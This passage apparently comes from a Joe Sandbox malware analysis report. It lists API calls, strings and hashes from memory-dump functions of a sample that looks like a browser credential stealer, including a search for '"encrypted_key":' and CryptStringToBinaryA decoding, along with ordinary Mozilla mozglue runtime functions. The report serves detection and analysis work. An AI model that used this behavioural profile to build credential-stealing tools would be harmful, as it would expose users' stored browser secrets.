Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$??2@AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeStringmemcpymemset
String ID:
API String ID: 2503097572-3916222277
Opcode ID: bc42dfa4a3889b6717724c951dbec4bbc6746ea8cf00a4883db208824c59287a
Instruction ID: 91e77cebffad47ece097f7429d4e9b812732713b5b21c7dde3d323aaba1c439f
Opcode Fuzzy Hash: bc42dfa4a3889b6717724c951dbec4bbc6746ea8cf00a4883db208824c59287a
Instruction Fuzzy Hash: 15E18E71801108ABCB14EBA1DC96FEEB739AF14314F00415EF40773191EF786A99CBAA

Function 6C6F5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6F5E9D

Part of subcall function 6C705B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C7056EE,?,00000001), ref: 6C705B85
Part of subcall function 6C705B50: EnterCriticalSection.KERNEL32(6C76F688,?,?,?,6C7056EE,?,00000001), ref: 6C705B90
Part of subcall function 6C705B50: LeaveCriticalSection.KERNEL32(6C76F688,?,?,?,6C7056EE,?,00000001), ref: 6C705BD8
Part of subcall function 6C705B50: GetTickCount64.KERNEL32 ref: 6C705BE4

GetCurrentThreadId.KERNEL32 ref: 6C6F5EAB
GetCurrentThreadId.KERNEL32 ref: 6C6F5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6F5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C6F6017

Part of subcall function 6C6E4310: moz_xmalloc.MOZGLUE(00000010,?,6C6E42D2), ref: 6C6E436A
Part of subcall function 6C6E4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6E42D2), ref: 6C6E4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C6F5F47
GetCurrentProcess.KERNEL32 ref: 6C6F5F53
GetCurrentThread.KERNEL32 ref: 6C6F5F5C
GetCurrentProcess.KERNEL32 ref: 6C6F5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C6F5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C6F5F27

Part of subcall function 6C6FCA10: mozalloc_abort.MOZGLUE(?), ref: 6C6FCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6F55E1), ref: 6C6F5E8C

Part of subcall function 6C6FCA10: malloc.MOZGLUE(?), ref: 6C6FCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6F55E1), ref: 6C6F605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6F55E1), ref: 6C6F60CC

Strings

GeckoMain, xrefs: 6C6F5ECE, 6C6F6015

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 90576b496f0061acbb82e611ffd51195056a6bf3cec6abc6df6dcbe2d00045b5
Instruction ID: 33760163f9427b11593d73c894d08d7c0814df64548e2d1db05788976a7049d7
Opcode Fuzzy Hash: 90576b496f0061acbb82e611ffd51195056a6bf3cec6abc6df6dcbe2d00045b5
Instruction Fuzzy Hash: AF7112B0A057408FD710DF29C584A6ABBF1FF5A304F14496DE4968BB42D730E949CB96

Function 6C6F9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6E31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C6E3217
Part of subcall function 6C6E31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C6E3236
Part of subcall function 6C6E31C0: FreeLibrary.KERNEL32 ref: 6C6E324B
Part of subcall function 6C6E31C0: __Init_thread_footer.LIBCMT ref: 6C6E3260
Part of subcall function 6C6E31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C6E327F
Part of subcall function 6C6E31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6E328E
Part of subcall function 6C6E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6E32AB
Part of subcall function 6C6E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6E32D1
Part of subcall function 6C6E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6E32E5
Part of subcall function 6C6E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6E32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C6F9675
__Init_thread_footer.LIBCMT ref: 6C6F9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6F96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C6F9707
__Init_thread_footer.LIBCMT ref: 6C6F971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C6F9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6F97B7
FreeLibrary.KERNEL32 ref: 6C6F97D0
FreeLibrary.KERNEL32 ref: 6C6F97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C6F9824

Strings

NtMapViewOfSection, xrefs: 6C6F9701
ntdll.dll, xrefs: 6C6F96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C6F9670
MapViewOfFileNuma2, xrefs: 6C6F97B1

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 2a831c4f441312b3c106c16c66bdaeaf068dbaeebe2f4e95dd07d35c9909693e
Instruction ID: 97366198fd0ea8ffcf683610659f68d3ee6fd1dc7dde0f1218f3cb483977bed5
Opcode Fuzzy Hash: 2a831c4f441312b3c106c16c66bdaeaf068dbaeebe2f4e95dd07d35c9909693e
Instruction Fuzzy Hash: 0761F3717043059BDF01CF76D988BAABBB6FB4A318F044539ED2593B80D730A955CBA1

Function 004112B0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 160stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 004112D5
ExitProcess.KERNEL32 ref: 004112E1
strtok_s.MSVCRT ref: 004112F8

Strings

block, xrefs: 004112C7

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: da2563823ec1a76d62d5fd62df77ffe8bebd7261cb24a53a2c094a3147348de1
Instruction ID: b2aee4bd772402993bd8daf8ed4e127407cef198cc172b88b11a84757ccddcb3
Opcode Fuzzy Hash: da2563823ec1a76d62d5fd62df77ffe8bebd7261cb24a53a2c094a3147348de1
Instruction Fuzzy Hash: 6451A574B00209EFDB14DFA0E944BEE37B5BF44B04F10804AE916A7361D778D996CB5A

Function 6C746660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C76F618), ref: 6C746694
GetThreadId.KERNEL32(?), ref: 6C7466B1
GetCurrentThreadId.KERNEL32 ref: 6C7466B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C7466E1
EnterCriticalSection.KERNEL32(6C76F618), ref: 6C746734
GetCurrentProcess.KERNEL32 ref: 6C74673A
LeaveCriticalSection.KERNEL32(6C76F618), ref: 6C74676C
GetCurrentThread.KERNEL32 ref: 6C7467FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C746868
RtlCaptureContext.NTDLL ref: 6C74687F

Strings

WalkStack64, xrefs: 6C746890

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 270ded93a5bc74822bf7d3d04017e4a2f29e269329a827781ee49665189b3f3c
Instruction ID: abc492c2ae3772b9106460043e0eb7d0706ccf2781d05da0d8b428087a55b0dc
Opcode Fuzzy Hash: 270ded93a5bc74822bf7d3d04017e4a2f29e269329a827781ee49665189b3f3c
Instruction Fuzzy Hash: 6E517F71A09301AFD711CF25CA44B6ABBF4FF89714F00892DF99997640D770EA19CB92

Function 6C72DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C729420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6F4A68), ref: 6C72945E
Part of subcall function 6C729420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C729470
Part of subcall function 6C729420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C729482
Part of subcall function 6C729420: __Init_thread_footer.LIBCMT ref: 6C72949F

GetCurrentThreadId.KERNEL32 ref: 6C72DE73
GetCurrentThreadId.KERNEL32 ref: 6C72DF7D
AcquireSRWLockExclusive.KERNEL32(6C76F4B8), ref: 6C72DF8A
ReleaseSRWLockExclusive.KERNEL32(6C76F4B8), ref: 6C72DFC9
GetCurrentThreadId.KERNEL32 ref: 6C72DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C72E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C6F4A68), ref: 6C72DE7B

Part of subcall function 6C7294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7294EE
Part of subcall function 6C7294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C729508

Part of subcall function 6C71CBE8: GetCurrentProcess.KERNEL32(?,6C6E31A7), ref: 6C71CBF1
Part of subcall function 6C71CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6E31A7), ref: 6C71CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C6F4A68), ref: 6C72DEB8
free.MOZGLUE(00000000,?,6C6F4A68), ref: 6C72DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C72DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C72DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C72E00E
<none>, xrefs: 6C72DFD7

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 709bf9a8e894811af5a8ff3dbe09de343bf870f4a45bd708043aaee952b7e7c5
Instruction ID: 303952453fa1c72fc7aced2e5d51207d35aabb8dba1b5e933090e159f69e98f0
Opcode Fuzzy Hash: 709bf9a8e894811af5a8ff3dbe09de343bf870f4a45bd708043aaee952b7e7c5
Instruction Fuzzy Hash: 6C41E631B013109BDB109B66DA0C7BA7B79EF56308F140035ED2597F41C779A905CBE9

Function 6C73D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C73D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C73D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C73D52A
GetCurrentThreadId.KERNEL32 ref: 6C73D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C73D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C73D55F
free.MOZGLUE(00000000), ref: 6C73D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C73D5D3
GetCurrentThreadId.KERNEL32 ref: 6C73D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C73D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C73D652
GetCurrentThreadId.KERNEL32 ref: 6C73D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C73D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C73D6A2

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 70560eb765ae7f828d2a3072307c7e0b7d03e81789d483181aa85af90407c185
Instruction ID: d496d1a91dffff4c999d7bc67f99cc8976ee99abbf7994b6a435265edb2df1b6
Opcode Fuzzy Hash: 70560eb765ae7f828d2a3072307c7e0b7d03e81789d483181aa85af90407c185
Instruction Fuzzy Hash: F4518C71604705DFC700CF35C488AAABBB8FF8A358F00962EE85A87711DB30B849CB95

Function 00410DE0 Relevance: 19.8, APIs: 13, Instructions: 308stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00410E17
strtok_s.MSVCRT ref: 00411260

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02655988,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 8014720055c3d44d45c2ee13986b4f49da758f8c5a4ddf56eb1d99de4c5a71bc
Instruction ID: 43f8ac416cb9b823db2283ba99bf4afb511f8f06efa02481fc3f2e7b5d6f774f
Opcode Fuzzy Hash: 8014720055c3d44d45c2ee13986b4f49da758f8c5a4ddf56eb1d99de4c5a71bc
Instruction Fuzzy Hash: B5C1C4B1900219ABCB14EF60DC89FDA7378BB64308F0045DEF50AA7251EA74AAD5CF95

Function 00413D90 Relevance: 19.7, APIs: 13, Instructions: 193stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00413DAE
memset.MSVCRT ref: 00413DC5

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00413DFC
lstrcat.KERNEL32(?,026795D0), ref: 00413E1B
lstrcat.KERNEL32(?,?), ref: 00413E2F
lstrcat.KERNEL32(?,02679990), ref: 00413E43

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418830: GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Part of subcall function 00409D30: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D89
Part of subcall function 00409D30: memcmp.MSVCRT ref: 00409DE2

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 00418E60: GlobalAlloc.KERNEL32(00000000,00413EED,00413EED), ref: 00418E73

StrStrA.SHLWAPI(?,026794B0), ref: 00413F03
GlobalFree.KERNEL32(?), ref: 00413FFF

Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
Part of subcall function 00409B10: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
Part of subcall function 00409B10: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrcat.KERNEL32(?,00000000), ref: 00413F90
StrCmpCA.SHLWAPI(?,0042089B,?,?,?,?,000003E8), ref: 00413FAD
lstrcat.KERNEL32(00000000,00000000), ref: 00413FBF
lstrcat.KERNEL32(00000000,?), ref: 00413FD2
lstrcat.KERNEL32(00000000,00420F88), ref: 00413FE1

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Local$AllocFile$Freememset$BinaryCryptGlobalStringmemcmp$AttributesChangeCloseCreateFindFolderNotificationPathReadSizelstrcpy
String ID:
API String ID: 3662689742-0
Opcode ID: 35d23c3385c7155335e2918f686357b083509c71e6c860d68a484b91e107388c
Instruction ID: d4b1db0ab37bfb67570dd3d18e95715430c5246f155b9e5a4f3dc5da96f51bca
Opcode Fuzzy Hash: 35d23c3385c7155335e2918f686357b083509c71e6c860d68a484b91e107388c
Instruction Fuzzy Hash: 0D716672900218ABCB14EBA1DC49FDE7779AF48304F00859DF605A7191EA789B85CFA5

Function 6C705670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C7056D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7056E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C7056F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C705744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C7057BC
GetTickCount64.KERNEL32 ref: 6C7058CB
EnterCriticalSection.KERNEL32(6C76F688), ref: 6C7058F3
__aulldiv.LIBCMT ref: 6C705945
LeaveCriticalSection.KERNEL32(6C76F688), ref: 6C7059B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C76F638,?,?,?,?), ref: 6C7059E9

Strings

MOZ_APP_RESTART, xrefs: 6C7056CC

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: e58934c0b9c485ca865e66a6fc106e652ae47de4b0789231adbdb6568a0d8ebc
Instruction ID: 1719b11bf8da872e3d0561888324165372ae0743ed04cf5b54f76477777e2d71
Opcode Fuzzy Hash: e58934c0b9c485ca865e66a6fc106e652ae47de4b0789231adbdb6568a0d8ebc
Instruction Fuzzy Hash: 23C1ADB1A097409FDB05CF29C54466AFBF1FFCA714F058A2DE8C4A7661D730A885CB86

Function 00414DA0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 138stringCOMMON

Download Yara Rule

APIs

